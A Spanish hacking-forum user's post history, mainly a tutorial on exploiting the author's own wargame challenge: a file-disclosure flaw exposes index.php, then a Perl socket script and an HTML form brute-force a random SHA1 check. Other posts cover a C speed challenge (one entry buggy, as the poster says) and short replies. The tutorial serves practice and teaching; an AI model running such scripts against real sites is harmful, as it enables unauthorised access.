Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - mr.blood

#21
NOTA IMPORTANTE: ESTADO DEL SERVIDOR AHORA: OFFLINE

Bueno, hoy sabado, sin ganas de seguir intentando el reto 4 de seth. Comienzo a escribir este "tutorial" sobre que pasos dar para hacer un exploit tras descubrir una vulnerabilidad.

Agradezcan el tutorial a The-XC3LL.

Bien, este tutorial sera "interactivo", osea que para entenderlo mejor, seria bueno que antes de leer como se hace, intenteis hacerlo.

Sin mas que decir, EMPEZAMOS!!




Si no sabes que es un EXPLOIT, empieza a leerte las FAQ de la seccion Bug's y Exploit's ;).

Bien, lo primero es abrir la Web vulnerable, en este caso es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

La metodologia que yo sigo es mirar el codigo fuente y despues ver las cabeceras con HTTP Live Headers, o Tamper Data.

Si no vemos nada extraño, empecemos a probar cosas.

Por ejemplo, pulsemos sobre View File 1. Nos dice Dale.
Si damos clic sobre View File 2, nos dice Vamonos!.
Y si damos clic sobre View File 3, ¿qué nos dirá?... Pues nos dice xD.

Bien, veamos como funciona este PHP internamente, cambiemos todos los parametros por un 4. Quedaria No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mmm, que interesante, ahora nos dice Archivo no encontrado. Osea que esos parametros se refieren a archivos del servidor... Interesante.

Veamos si tengo razón, cambiemos todos los parametros por index.php. ¡DIOS MIO! Que webmaster tan descuidado, podemos ver el contenido de index.php.

Fijemonos en esta parte:

Código: php

$array[] = 10;
$array[] = rand($array[0], 100);
$array[] = sha1(sha1($array[0]) . implode($array));
$array[0] = $array[sizeof($array)-1];

if ( isset($_POST[$array[1]]) && ($_POST[$array[1]] == $array[0]) )
{
if( isset($_GET[3]) )
{
echo "Reto superado!";
exit;
}
}


Para quienes no sepan PHP, les recomiendo que lo aprendan, es un gran lenguaje, muy util para todo, y muy necesario para el Hacking, pero bueno, explico un poco el codigo.

$array[] es una matriz, que empieza con el valor 10. Osea, que de momento como no tiene mas elementos el esquema quedaria $array=([0]=>0);. ([0] es el indice, en este caso se refiere al primer elemento)

Bien, ahora $array[]=rand($array[0],100); Con $array[]= le decimos que guarde el valor en otro elemento del array, como el siguiente libre es 1, pues lo guarda en $array[1]. ¿Y qué guarda?, pues un numero aleatorio entre $array[0] (10) y 100.

Siguiente linea, $array[] = sha1(sha1($array[0]) . implode($array));. Aqui guardamos en $array[2] el valor de codificar en sha1 $array[0] (10) concatenado con implode($array). Concatenar significa unir, ejemplo "1"."1" seria "11" ;). implode($array) une todos los elementos de $array. En este caso son: $array=([0]=>10;[1]=>rand(10,100);).
Pongo el rand, porque nosotros no conocemos que valor es. Entonces quedaria sha1("10").rand(10,100). Bien, despues de eso asigna a $array[2] la codificacion sha1 de sha1("10")."10".rand(10,100).

Lo siguiente, es asignar a $array[0] el valor de $array[sizeof($array)-1], o lo que es lo mismo, $array[2].

Ese if comprueba si pasamos por el metodo POST el argumento $array[1] y si es igual a $array[0], si todo esta bien, muestra el mensaje de que lo superamos.

Bien, ahora que sabemos que hace el codigo, analicemos el problema que se nos presenta.

Tenemos que pasar por el metodo POST $array[0] que es la codificacion en sha1 de sha1("10"), y el "10".rand(10,100); El problema es que nosotros no podemos controlar que numero aleatorio genera el php...

Uhmm dificil problema ¿no?. ¿Qué solucion se os ocurre? Despues de un rato pensando, se me ocurre algo. ¿Qué tal si enviamos todas las posibilidades de codificar en sha1 sha1("10") con cada numero del 10 al 100?, asi acertamos seguro ¿no?. Porque no, probemos.

¿Cual seria la forma mas facil de hacer esto?... Uhmmm la forma mas sencilla seria con HTML, pero yo os mostrare como hacerlo con Perl tambien ;).

Vale, lo 1º que tenemos que hacer, aprender Perl si no lo hemos aprendido ya ;).

Lo 2º, pongamos musica, abramos nuestro IDE favorito, y empecemos a codear ;).

Comenzamos:

Bueno, ya sabemos que problema hay y como resolverlo, nos queda programar un script que lo haga por nosotros, porque hacerlo a mano es demasiado largo.

Vale, lo primero es saber usar Sockets. Son muy simples en Perl ;).
Lo 2º, miramos la Documentacion de Perl, para ver como codificar en SHA1, una vez lo tengamos, ya  podremos hacer el exploit.

Ahh, casi lo olvido, parte fundamental del exploit, SABER ALGO DEL PROTOCOLO HTTP.
Porque, aunque podemos usar librerias como LWP que nos hagan el trabajo sucio a mano, prefiero enviar la cabecera a mano :P.

En fin, hasta aqui lo que os he podido enseñar... El resto del trabajo que tendreis que hacer por vuestra cuenta sera aprender algo de Perl y de HTTP hasta que entendais el Exploit, aun asi dejo el codigo bien comentado ;).

Código: perl

#!/usr/bin/perl

#~ Ejemplo para el tutorial sobre la metodologia de como crear un exploit
#~ Codeado por mr.blood

#~ Incluimos librerias
use IO::Socket::INET;
use Digest::SHA;


#~ Creamos el objeto $SHA1 para poder encriptar con este hash
$SHA1 = Digest::SHA->new(1);

#~ Como el .php usa una cadena constante (10), la encripto primero para no perder tiempo en cada ciclo
$SHA1->add("10");
$const=$SHA1->hexdigest();

#~ Declaro hash donde metermos todo el contenido de los numeros / hash que vamos a enviar
$hash="";

#~ Bucle for desde 10 hasta 100
for($i=10;$i<=100;$i++)
{
        #~ Encriptamos en SHA1 el "10" encriptado en SHA1 antes y un "10" mas la variable contador
        $SHA1->add($const."10".$i);

        #~ Peticion = peticion + variable contador + "="+hash+"&"
        $hash.="$i=".$SHA1->hexdigest()."&";
}

#~ Quitamos el ultimo &
$hash=substr($hash,0,-1);

#~ Empezamos a configurar la cabecera
$peticion="POST /wargame/1/index.php?3=a HTTP/1.0\r\nHOST:mr-blood.com\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:".length($hash)."\r\n\r\n";

#~ Adjuntamos el contenido de hash / numero
$peticion.=$hash;

#~ Indicamos el fin de la cabecera
$peticion.="\r\n";

#~ Conectamos al servidor
$sock=IO::Socket::INET->new(PeerAddr=>"mr-blood.com",PeerPort=>"80", Proto=>"tcp");

#~ Enviamos al servidor
print $sock $peticion;
print <$sock>;


Con HTML seria

Código: html4strict

<HTML>
<BODY>
<FORM method="post" action="http://www.mr-blood.com/wargame/1/index.php?3=a" name="formu">
<INPUT type='hidden' name='10' value='5241e22b10c7cd7b584a030a5a3e4d0ddcfad23a'>
<INPUT type='hidden' name='11' value='a03b139c54e9541788414ceac70f904b634973d8'>
<INPUT type='hidden' name='12' value='276bac22af85764d66b495d6468114051299b40c'>
<INPUT type='hidden' name='13' value='1399d4e7f4d90c0ac7048b449e3202220c93ab95'>
<INPUT type='hidden' name='14' value='94c53d8dc0796c3fcbaf79495daa3a5ada55f12a'>
<INPUT type='hidden' name='15' value='f1e02f447c4b6340a79670d6f8ceb7895d885cd3'>
<INPUT type='hidden' name='16' value='624c02af3c9a403868cccd6a3efcad7c965d03d3'>
<INPUT type='hidden' name='17' value='861ebd683457fd800680009340531583749562b5'>
<INPUT type='hidden' name='18' value='cbc8acda930ac6b9b285e2484c813486e5f1b8ca'>
<INPUT type='hidden' name='19' value='f40c52c5120557998959d1faae7238069ebf45da'>
<INPUT type='hidden' name='20' value='b037de6ef10d595faaf88e78612dd6341bc6d1af'>
<INPUT type='hidden' name='21' value='9d85b504abc477270194dde00cf743507ff91a76'>
<INPUT type='hidden' name='22' value='d587dd0b791261982692227a38442da3ac8fe22c'>
<INPUT type='hidden' name='23' value='ccd90168b04b2258bdcef494136fd27295b81075'>
<INPUT type='hidden' name='24' value='bd1435a6a8d0a54097563d5c9f35d00bbe466a75'>
<INPUT type='hidden' name='25' value='3944963b1ce5fcb70e5ce4a15d847851c0137d27'>
<INPUT type='hidden' name='26' value='8fb8a7a47da01ea7f55a0efe05907593fc1888c6'>
<INPUT type='hidden' name='27' value='21d2b25ca48cbc4149cf970f092a32abbae4fb88'>
<INPUT type='hidden' name='28' value='684ca122505c3a614dcffac27ca6109d2b18f33d'>
<INPUT type='hidden' name='29' value='ef07592a5c58f839bb76dd823dfdd7c43729f07e'>
<INPUT type='hidden' name='30' value='582e8f8bdb9840d3bec5a0906828708fc460da7b'>
<INPUT type='hidden' name='31' value='d0c7e7f1e639cac7febe9596c04fa3efac60a7b4'>
<INPUT type='hidden' name='32' value='1e5d2683077207581ab03bec2df884ac2d013ee9'>
<INPUT type='hidden' name='33' value='ab3a2c8ef86dd9929e9dd3c99694b894ab31da6c'>
<INPUT type='hidden' name='34' value='ef1e23dfbe669661aee93552a0a188a123b72135'>
<INPUT type='hidden' name='35' value='a4eb2958fd3c9e4b876b8871dfebb61d47b321d6'>
<INPUT type='hidden' name='36' value='efae44c695604c7c50d448da65cc8b6f9b769676'>
<INPUT type='hidden' name='37' value='7f027cfe4cfa2f3900b611b71270a95fd380bf63'>
<INPUT type='hidden' name='38' value='346833f76fc8c9a698b9163a7eb433df52a3791e'>
<INPUT type='hidden' name='39' value='10d6ff05ee932812c77205414866f45f6b12d12d'>
<INPUT type='hidden' name='40' value='708dfcbd367fdb5ab8ee51c7dfdc82dc1f8f86f1'>
<INPUT type='hidden' name='41' value='612ff66a43c6a449358a21160322a8c704a19c02'>
<INPUT type='hidden' name='42' value='4e96645109fd6b55dca3c064d508b6c4ddfd2bf7'>
<INPUT type='hidden' name='43' value='e94f6987841f932c015ae223f15ded8b39a91922'>
<INPUT type='hidden' name='44' value='c683ce8c5e271ee8f9bbdf28a22578e799bd32c2'>
<INPUT type='hidden' name='45' value='6d8e98545d29b25ce411a33d56c6efb2cd11ac20'>
<INPUT type='hidden' name='46' value='5b8863b1e3abefe108b688ef5673884a76129fbe'>
<INPUT type='hidden' name='47' value='51a110ac8dfe72bf1ad7bfb18b358763cd0f3849'>
<INPUT type='hidden' name='48' value='68d609687a986f59ffdbf6bbc52e301cc07bae63'>
<INPUT type='hidden' name='49' value='b838c1c42b8b6018610da84d102b78198169c9bc'>
<INPUT type='hidden' name='50' value='eea2a4256e116005b68717415536df704292921b'>
<INPUT type='hidden' name='51' value='a578bcc12c48f9069057b742532e943388c49cd9'>
<INPUT type='hidden' name='52' value='518ab6481006cf7233403ba078d2fd7460c5b42f'>
<INPUT type='hidden' name='53' value='394006d762d0d0df62c9900b3b012bc84093b347'>
<INPUT type='hidden' name='54' value='6c7b051e5079c9186bcc0d87e42b33122e35e55e'>
<INPUT type='hidden' name='55' value='7bf0aaf948b3ccc2f64d74413f3b742e87833a64'>
<INPUT type='hidden' name='56' value='f014f26b96f5e9095a6f36d48a78ae6d852436d8'>
<INPUT type='hidden' name='57' value='5654b0dcbfd85010df6a8780263b87b77cc7ae50'>
<INPUT type='hidden' name='58' value='a727d0c5aaf97e9c7425a5b90221360b4b1ac7bc'>
<INPUT type='hidden' name='59' value='571aef913d9a84f6789550709057e996e93cb2ef'>
<INPUT type='hidden' name='60' value='93f815b36507f09430906534293e1c835db0962f'>
<INPUT type='hidden' name='61' value='eb69afbcd4daaf8d8475fc4490f368f8ff4f81dd'>
<INPUT type='hidden' name='62' value='f91cb26b7b06be1fbd192ce8835afd7f99cb0004'>
<INPUT type='hidden' name='63' value='8dc6e9ab876a4b49d8df8af63a702b86d4038355'>
<INPUT type='hidden' name='64' value='c86e8c1d0dc6e477fa05b23b24a955d43f5a7bda'>
<INPUT type='hidden' name='65' value='f541e56d2e976408a8c83175900e14b6a646dc68'>
<INPUT type='hidden' name='66' value='02356f5b3a1d41f3c74bf4a2aab1d4ec28717124'>
<INPUT type='hidden' name='67' value='fcedf7873e897cf3256997a151a43b48e8f70de0'>
<INPUT type='hidden' name='68' value='a7316620be9ff4d86aff4dc6cb67c1f137a3a7a8'>
<INPUT type='hidden' name='69' value='cbe1f15d3f0eed42f459c7a0e39879e1be31c42a'>
<INPUT type='hidden' name='70' value='700fbee3d8b49ae6b77d46a1e32ff62d2496d3d9'>
<INPUT type='hidden' name='71' value='25bd1b5387eb4f9ee14cc092db1f4bb02b4189bc'>
<INPUT type='hidden' name='72' value='31ae34500917043543eb77f8e073bdbdbf09b9b3'>
<INPUT type='hidden' name='73' value='3b3d9ec0697f9d38d600d3991bac14bd0e9b9f1b'>
<INPUT type='hidden' name='74' value='341fe7d22415e323ff9f3ed937a78ba4dbbb2dc6'>
<INPUT type='hidden' name='75' value='b5b0f6f15965d8b46e9fddfad1345f94d99c50f9'>
<INPUT type='hidden' name='76' value='494472f443d02b3861a68c0faf64d1bb5bec1ec4'>
<INPUT type='hidden' name='77' value='bb4dac71f2922fb7b1a9007b1afbb8512c31ab0e'>
<INPUT type='hidden' name='78' value='abada3f9954a296c36d63e3b244b4cefc0933b8b'>
<INPUT type='hidden' name='79' value='85fe446b1927b113ccb3e5bccbe7b96d997cbd22'>
<INPUT type='hidden' name='80' value='58e14b5ec5b359540fcffa4ca33fce03c075fcc8'>
<INPUT type='hidden' name='81' value='2fe0c6c2d42652273e05913afa2561bc027f83ff'>
<INPUT type='hidden' name='82' value='f28eede207a9a97db0e7b9df7e8cbd059def0cdc'>
<INPUT type='hidden' name='83' value='8afaccb11991b5711feb99d9143d0223c7ae93b3'>
<INPUT type='hidden' name='84' value='67f833ae248d355ad1d79750a57b69855f015a32'>
<INPUT type='hidden' name='85' value='9bad193754f4b994882c74cd3acdb5260649f12b'>
<INPUT type='hidden' name='86' value='4164ce6a05f701126fab11be1b4ee7986468d224'>
<INPUT type='hidden' name='87' value='bb361f62a3284086679450214220582d8fb37013'>
<INPUT type='hidden' name='88' value='824254fc09609e325d4db5b1c4303c3e6af33db2'>
<INPUT type='hidden' name='89' value='1738ee9204393bc3add64ee5555672a32bd7edef'>
<INPUT type='hidden' name='90' value='2d54565b0e5120022a11bb20546e894b33bf4e71'>
<INPUT type='hidden' name='91' value='440e9a8f03795242eb531d122fe543cd9623e8ce'>
<INPUT type='hidden' name='92' value='b8d92b83bb01edff516abff2f8c73afd3d67542e'>
<INPUT type='hidden' name='93' value='bc0d88afd61fb8b44ab9d87bbd872f7589b3ea9d'>
<INPUT type='hidden' name='94' value='099e8a02963269720a23f1249f696375796e9d35'>
<INPUT type='hidden' name='95' value='123d8b03c2db644a6164d3a25b17502a588021b9'>
<INPUT type='hidden' name='96' value='3a3ed348dac5c8ca1383cf3dda9a9550d35619cc'>
<INPUT type='hidden' name='97' value='de63ed4b7e7f1ed0de5c759147153704f3088809'>
<INPUT type='hidden' name='98' value='73073ba058a0f6b797b7659a613a0708e061a732'>
<INPUT type='hidden' name='99' value='53ac83b3eacbc6c3a66441b01ad9f169163c6f7e'>
<INPUT type='hidden' name='100' value='2990a2405123c054263407f7fe4c498236ea15ea'>
<INPUT type='submit' value='Exploit it'>
</FORM>
</BODY>
</HTML>


Espero que os sirva y que tengais algo mas de documentacion de la que yo tuve cuando empecé ;).

Os pido por favor, que no me hagais el tonto con el hosting, osea no envieis miles de peticiones, o tendre que cerrar la zona de practicas, lo que seria una pena ;). Con una o dos es mas que suficiente para ver que funciona ;).

Informaciones de interes:
   · El paper No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si algo no queda claro, hay algun fallo, o cometi alguna falta ortografica grave, hacedmelo saber ;)

Y si teneis sugerencias para mejorarlo, tambien comentad, en fin, comentad y decid que os parece ;).

Sa1uDoS

P.D.: Si quieres postear el tutorial en otro lugar, no olvides mencionar el autor por favor, que hacer estas cosas lleva su tiempo.
#22
C / C++ / Re:[RETO] Animaos!
Junio 08, 2013, 06:50:14 AM
Solo participó s00rk, dejo su código para que juzguen!

No lo declaro ganador porque no funciona correctamente, además de ser bastante poco eficaz.

s00rk me gustaría que pudieras explicar como funciona tu código ;).

Posteo su código y, de paso, el mío.

s00rk:
Código: c

#include <time.h>
#include <stdio.h>
#include <stdlib.h>


#define MAX_X 10
#define MAX_Y MAX_X


int main()
{


   int total = (MAX_X*MAX_Y), nuevonum, x , y, pag = 0, partir = 0, vpartir = total, jx = 0, jy = 0, valor;


   int *numeros = (int*) malloc(total*sizeof(int));
   int **matriz;
   matriz = (int **) malloc(total*sizeof(int*));
   
   for(x = 2; x < total; x++)
      if((total%x) == 0 && vpartir > (total/x))
      {
         partir = x;
         vpartir = (total/x);
      }


   valor = total/partir;


   srand (time(NULL));
   matriz[jx] = (int*) malloc(total*sizeof(int));
   for(x = 0; x < partir; x++)
   {     
      for(y = 0; y < (total/partir); y++)
      {
         do{
            nuevonum = rand() % valor;
            if(pag != 0)
               nuevonum = rand() % ((valor + (valor*pag)) - valor) + valor;
         }while(numeros[nuevonum] == -1);
         matriz[jx][jy++] = nuevonum;
         numeros[nuevonum] = -1;
         if(jy == MAX_Y)
         {
            jx++;
            jy = 0;
            matriz[jx] = (int*) malloc(total*sizeof(int));
         }


      }
      pag++;
   }


   free(matriz);
int i,j;
for(i=0;i<MAX_X;i++)
{
for(j=0;j<MAX_Y;j++)
{
printf("%i\t", matriz[i][j]);
}
putchar('\n');
}

   return 0;
}


mr.blood:
Código: c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define MAX_X 1000
#define MAX_Y 1000

int main()
{
srand(time(NULL));
int matriz[MAX_X][MAX_Y], x, y;

register int i, j, k;

memset(matriz, -1, sizeof(int)*(MAX_X*MAX_Y));

for(i=0;i<(MAX_X*MAX_Y);)
{
x=rand()%MAX_X;
y=rand()%MAX_Y;
for(k=-1;k<=1;k++)
{
for(j=-1;j<=1;j++)
{
if(matriz[x+k][y+j]==-1 && (x+k>=0 && x+k<MAX_X) && (y+j>=0 && y+j<MAX_Y))
{
matriz[x+k][y+j]=i;
i++;
}
}
}
}

//~ for(i=0;i<MAX_X;i++)
//~ {
//~ putchar('\n');
//~ for(j=0;j<MAX_Y;j++)
//~ printf("%i\t", matriz[i][j]);
//~ }
return 0;
}


Sa1uDoS
#23
Una cosa es la IT y otra la IAT, una tiene los nombres y la otra las direcciones de estas :) Obviamente la he probado, si no no la hubiera subido.

Sa1uDoS
#24
C / C++ / Re:[RETO] Animaos!
Mayo 29, 2013, 03:13:06 PM
Señores! Anímense a participar! La fecha límite es el Viernes día 31 de Mayo :).

Espero sus códigos. Venga que no es difícil.

Sa1uDoS
#25
Hacking ShowOff / Re:Paypal Live XSS by Pr0ph3t
Mayo 28, 2013, 06:44:22 PM
Cada día me da más confianza este "banco"...

Gracias por la información Pr0ph3t.

Sa1uDoS
#26
Por cierto, se me olvido decirte, ¡buen aporte! :).

Hay mucha gente con bases de datos con pass comunes encriptadas en MD5 con algo tan sencillo como esto, podemos complicar bastante más que rompan una pass :).

Sa1uDoS
#27
Solo una pregunta, ¿por qué codificas un hash SHA1 en MD5?

Desde el punto de vista de la criptografía es más lógico hacerlo al revés pues SHA1 tiene menos colisiones que MD5 :).

Sa1uDoS
#28
Gracias ANTRAX!

Le daré un buen uso para el foro :).

Sa1uDoS
#29
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sa1uDoS
#30
C / C++ / Re:[RETO] Animaos!
Mayo 27, 2013, 02:15:09 AM
Debe ser multiplataforma, y los threads, no lo son. No creo que el resultado variase mucho.

500 segundos? El mio tarda entre 0.700s y 0.900s en llenar la matriz(SIN MOSTRAR NADA). Pero mostrando con printf la matriz entera tarda sobre 16-17s.

Sa1uDoS
#31
C / C++ / Re:[RETO] Animaos!
Mayo 26, 2013, 05:23:55 PM
s00rk espero tu código. Quiero ver que se te ocurrió.

Sa1uDoS
#32
¿TU CÓDIGO? ¿Como tienes tantísimo morro? Ese código te lo dieron hecho en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, yo mismo participé en ese hilo. Ese código es de leosansan.

Este hombre quiere que entre todos los foros acabemos haciéndole la tarea.




ESTE ERA SU CÓDIGO (O al menos el que posteó en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta):

Código: cpp
#include<cstdlib>
#include<iostream>
#include<conio.h>
#include<ctime>
using namespace std;
bool llenar(int m[10][10],int i,int j,int v[10][10])
{
srand((unsigned) time(NULL));
for(i=0;i<10;i++)
{
for(j=0;j<10;j++)
{
m[i][j]=rand() % 1000 + 1;
v[i][j]=m[i][j];
if(m[i][j]!=v[i][j])
m[i][j]=rand() % 1000 + 1;
}
}
return true;
return false;
}

void mostrar(int m[10][10],int i,int j)
{
for(i=0;i<10;i++)
{
for(j=0;j<10;j++)
{
cout<<m[i][j]<<" ";
}
cout<<"\n";
}
}
main()
{
int m[10][10],v[10][10],i,j;
llenar(m,i,j,v);
mostrar(m,i,j);
getch();
}


Sa1uDoS
#33
Dudas y pedidos generales / Re:Herramientas
Mayo 26, 2013, 05:08:07 PM
Linux mint tiene dos versiones, una basada en Debian y otra basada en Ubuntu si no recuerdo mal, debería poder hacerse, en teoría.

Sa1uDoS
#34
C / C++ / Re:[RETO] Animaos!
Mayo 26, 2013, 05:05:16 PM
Al principio para que todos tengáis las mismas oportunidades todos serán compilados del mismo modo.
En próximos retos cada uno enviará como quiere compilar...

Suerte a tod@s!

Sa1uDoS
#35
C / C++ / Re:[RETO] Animaos!
Mayo 26, 2013, 03:57:53 PM
Cierto, se me olvidó decirlo, poned un for que muestre la matriz para comprobar que cumple con los requisitos, cuando tome el tiempo esa parte del código la comento y compilo para que no se ejecute.

Y por favor haced un
#define MAX_X 1000
#define MAX_Y 1000
que se use por todo el código para que cambiando esos dos valores yo vea que todo está correcto. Así puedo hacer una matriz de 4x4 y ver que no se repitan valores por ejemplo ;).

Por ejemplo for(i=0;i<MAX_X;i++) en vez de poner for(i=0;i<1000;i++)

Ahora edito el post principal. Gracias STANHMAL.

Sa1uDoS
#36
C / C++ / Re:[RETO] Animaos!
Mayo 26, 2013, 03:41:15 PM
3'8 MB si no fallan mis cuentas (básicamente tengo unos 256MB de RAM y me funciona el código ;) )

No ricemos el rizo, simplemente no pueden estar todos en orden, ese es el punto, debes usar la función rand().
De verdad quieres sacar la probabilidad que hay de que 1 millón de números salgan en orden? Diría que es matemáticamente imposible :P.

La velocidad la mediré con el comando time de UNIX. Quiero el código así que compilaré todos igual gcc code.c -o code.

Sa1uDoS
#37
C / C++ / [RETO] Animaos!
Mayo 26, 2013, 12:06:50 PM
Pensando en animar un poco esta sección propongo un reto en el que podrán participar TODOS LOS QUE SEPAN C o C++.

Imaginen que tengo una matriz de 3x3 y necesito rellenarla de números enteros positivos comprendidos entre 0 y 3*3-1. Los números deben estar dispersos por la matriz, colocados de forma aleatoria. En la matriz no puede repetirse ningún número.

La matriz realmente será de 1000x1000. El que tenga el tiempo de ejecución más bajo GANA, simple no?

Los códigos por MP para no dar ideas. Aquí las preguntas.

Yo no participo, pero tengo mi código que mostraré cuando este reto acabe. También postearé los 3 códigos más rápidos ;).

FECHA LÍMITE: Viernes 31 de mayo de 2013.

Reglas

  • Cada código será ejecutado 3 veces y se hará la media entre los tiempos.
  • Los números deben estar colocados de modo aleatorio.
  • No puede repetirse un número en la matriz.
  • Los lenguajes aceptados son C y C++, no es válido combinarlos con ASM de ningún modo.
  • Los códigos deben ser multiplataforma. (IMPORTANTE)




EDITO:

Debéis usar dos #define por todo el código para que cambiando los valores de estos pueda crear matrices de 3x3 o 4x4 para poder corregir más rápido, por favor, hacedlo así.

También debéis poner un for que recorra y muestre la matriz, cuando tome los tiempos comentaré y compilaré esa parte, así que tranquilos.

Suerte a tod@s!

Sa1uDoS
#38
Off Topic / Re:felicidades juan
Mayo 26, 2013, 05:02:10 AM
Felicidades feo!

Sa1uDoS
#39
O como obtener root en Linux, ha salido una nueva vulnerabilidad, derivada de una vulnerabilidad mal corregida.

Incluso podrías montar un LiveCD simulando un pequeño servidor con algunos servicios vulnerables, o mostrar como de una vulnerabilidad web puedes obtener el control del sistema.

Podrías hablar incluso de contraseñas (bruteforce, diccionarios, como elegir contraseñas seguras,...) lo que se te ocurra, hay mucho donde elegir, escoge una rama que te guste y busca información. ;)

Sa1uDoS
#40
Galería / Re:Mi galeria de dibujos en Paint (4)
Mayo 20, 2013, 07:33:10 PM
Dios MIO! Paciencia máxima haciendo un Wallpaper con el paint.

Al menos tendrás un pen mouse de esos para dibujar (Acabo de encontrar ese nombre en Google pero creo que no se llama así xD)

Sa1uDoS